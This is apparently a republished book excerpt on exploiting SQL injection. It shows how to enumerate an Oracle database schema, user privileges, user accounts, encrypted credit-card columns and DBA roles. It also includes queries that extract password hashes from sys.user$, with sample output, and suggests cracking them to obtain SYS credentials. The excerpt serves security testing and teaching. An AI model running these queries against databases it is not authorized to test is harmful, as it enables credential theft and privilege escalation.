programming4us
programming4us
DATABASE

Exploiting SQL Injection : Enumerating the Database Schema (part 3) - Oracle

- How To Install Windows Server 2012 On VirtualBox
- How To Bypass Torrent Connection Blocking By Your ISP
- How To Install Actual Facebook App On Kindle Fire
9/1/2012 9:33:44 PM

Oracle

The last example we will cover is how to enumerate the database schema when the back-end DBMS is Oracle. An important fact to remember when using Oracle is that you will normally be accessing only one database at a time, as databases in Oracle are normally accessed via a specific connection, and multiple databases accessed by an application will generally have different connections. Therefore, unlike SQL Server and MySQL, you won't be enumerating the databases present when finding the database schema.

The first thing you may be interested in is the list of tables that belong to the current user. In the context of an application, this will generally be the application tables in the database:

select table_name from user_tables;

You can extend this to look at all of the tables in the database and their owners:

select owner,table_name from all_tables;

You can enumerate some more information about your application tables to determine the number of columns and rows that are present in the tables as follows:

select a.table_name||'['||count(*)||']='||num_rows from user_tab_columns a,
    user_tables b where a.table_name=b.table_name group by
    a.table_name,num_rows
EMP[8]=14
DUMMY[1]=1
DEPT[3]=4
SALGRADE[3]=5

And you can enumerate the same information for all accessible/available tables, including their users, table names, and the number of rows in these tables as follows:

select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from
    all_tab_columns a, all_tables b where a.table_name=b.table_name group by
    b.owner,a.table_name,num_rows

					  

Finally, you can enumerate the columns and data types in each table as follows, allowing you to get a more complete picture of the database schema:

select table_name||':'||column_name||':'||data_type||':'||column_id from
    user_tab_columns order by table_name,column_id
DEPT:DEPTNO:NUMBER:1
DEPT:DNAME:VARCHAR2:2
DEPT:LOC:VARCHAR2:3
DUMMY:DUMMY:NUMBER:1
EMP:EMPNO:NUMBER:1
EMP:ENAME:VARCHAR2:2
EMP:JOB:VARCHAR2:3
EMP:MGR:NUMBER:4
EMP:HIREDATE:DATE:5
EMP:SAL:NUMBER:6
EMP:COMM:NUMBER:7
EMP:DEPTNO:NUMBER:8
SALGRADE:GRADE:NUMBER:1
SALGRADE:LOSAL:NUMBER:2
SALGRADE:HISAL:NUMBER:3

Another thing you may be interested in is obtaining the privileges of the current database user, which you can do as an unprivileged user. The following queries return the privileges of the current user. In Oracle, there are four different kinds of privileges (SYSTEM, ROLE, TABLE, and COLUMN).

To get system privileges for the current user:

select * from user_sys_privs; --show system privileges of the current user

To get role privileges for the current user:

select * from user_role_privs; --show role privileges of the current user

To get table privileges for the current user:

select * from user_tab_privs;

To get column privileges for the current user:

select * from user_col_privs;

To get the list of all possible privileges you must replace the user string in the preceding queries with all, as follows.

To get all system privileges:

select * from all_sys_privs;

To get all role privileges:

select * from all_role_privs;

To get all table privileges:

select * from all_tab_privs;

To get all column privileges:

select * from all_col_privs;

Now that you have a listing of the database schema and some information about your current user, you may be interested in enumerating other information in the database, such as a list of all of the users in the database. The following query returns a list of all users in the database. This query has the advantage that, by default, it can be executed by any user of the database.

select username,created from all_users order by created desc;
SCOTT               04–JAN–09
PHP                 04–JAN–09
PLSQL               02–JAN–09
MONODEMO            29–DEC–08
DEMO1               29–DEC–08
ALEX                14–DEC–08
OWBSYS              13–DEC–08
FLOWS_030000        13–DEC–08
APEX_PUBLIC_USER    13–DEC–08

You can query additional items as well, depending on the version of the database in use. For example, an unprivileged user in versions up to Oracle 10g Rel. 2 can retrieve the database usernames and password hashes with the following SELECT statement:

SELECT name, password, astatus FROM sys.user$ where type#>0 and
  length(password)=16 (priv), astatus (0= open, 9= locked&expired)

SYS                  AD24A888FC3B1BE7                   0
SYSTEM               BD3D49AD69E3FA34                   0
OUTLN                4A3BA55E08595C81                   9

You can test or crack the password hashes with publicly available tools, possibly allowing you to obtain credentials for a privileged database account such as SYS. In Oracle 11g, Oracle has changed the password hashing algorithm in use, and the password hash is now located in a different column—spare4, as follows:

SELECT name,spare4 FROM sys.user$ where type#>0 and length(spare4)=62
SYS
S:1336FB26ACF58354164952E502B4F726FF8B5D382012D2E7B1EC99C426A7
SYSTEM
S:38968E8CEC12026112B0010BCBA3ECC2FD278AFA17AE363FDD74674F2651

If the current user is a privileged one, or access as a privileged user has been obtained, you can look for a number of other interesting pieces of information in the database structure. Since Oracle 10g Rel. 2, Oracle offers the capability of transparently encrypting columns in the database. Normally, only the most important or sensitive tables will be encrypted, and therefore you are interested in finding these tables as follows:

select table_name,column_name,encryption_alg,salt from
    dba_encrypted_columns;

TABLE_NAME           COLUMN_NAME           ENCRYPTION_ALG              SAL
-----------------------------------------------------------------------------------
CREDITCARD           CCNR                  AES256                      NO
CREDITCARD           CVE                   AES256                      NO
CREDITCARD           VALID                 AES256                      NO

					  

Another piece of information that could be useful, if you have a privileged account, is to know what database administrator (DBA) accounts exist within the database, as follows:

Select grantee,granted_role,admin_option,default_role from dba_role_privs
   where granted_role='DBA';

Tip

Enumerating a full database by hand can be a very tedious task. Although it can be fairly easy to quickly code a small program to perform the task for you (using your favorite scripting language), several free tools are available that automate the process.

Other  
  •  SQL Server 2008 R2 : Creating and Managing Indexes - Creating Indexes (part 2) - Creating Indexes with SSMS
  •  SQL Server 2008 R2 : Creating and Managing Indexes - Creating Indexes (part 1) - Creating Indexes with T-SQL
  •  SQL Server 2008 R2 : Creating and Managing Indexes - Types of Indexes
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 5) - Using the Dimension Designer
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 4) - Using the Dimension Wizard
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 3) - Creating a Cube with the Cube Wizard, Using the Cube Designer
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 2) - Adding a Data Source View
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 1) - Creating the Project
  •  SQL Server 2005 : Basic OLAP - OLAP 101
  •  SQL Server 2005 : Report Server Architecture
  •  
    Top 10
    - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Finding containers and lists in Visio (part 2) - Wireframes,Legends
    - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Finding containers and lists in Visio (part 1) - Swimlanes
    - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Formatting and sizing lists
    - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Adding shapes to lists
    - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Sizing containers
    - Microsoft Access 2010 : Control Properties and Why to Use Them (part 3) - The Other Properties of a Control
    - Microsoft Access 2010 : Control Properties and Why to Use Them (part 2) - The Data Properties of a Control
    - Microsoft Access 2010 : Control Properties and Why to Use Them (part 1) - The Format Properties of a Control
    - Microsoft Access 2010 : Form Properties and Why Should You Use Them - Working with the Properties Window
    - Microsoft Visio 2013 : Using the Organization Chart Wizard with new data
    REVIEW
    - First look: Apple Watch

    - 3 Tips for Maintaining Your Cell Phone Battery (part 1)

    - 3 Tips for Maintaining Your Cell Phone Battery (part 2)
    programming4us programming4us
    programming4us
     
     
    programming4us